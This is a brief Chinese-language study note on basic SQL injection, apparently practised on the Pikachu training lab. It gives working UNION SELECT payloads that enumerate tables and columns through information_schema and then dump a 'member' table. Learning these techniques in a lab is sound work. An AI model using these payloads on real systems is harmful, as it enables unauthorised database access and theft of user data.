Sql注入基础：

首先判断是字符型还是数字型，判断’)个数

使用order by判断字段数，

用union select联合查询database()

查询表名

union select1,group\_concat(table\_name) from information\_schema.tables where table\_schema='pikachu' %23

查询列名

group\_concat(column\_name) from information\_schema.columns where table\_name='member' %23

之后就可以查看该数据库东东了

group\_concat(\*\*\*，\*\*) from member %23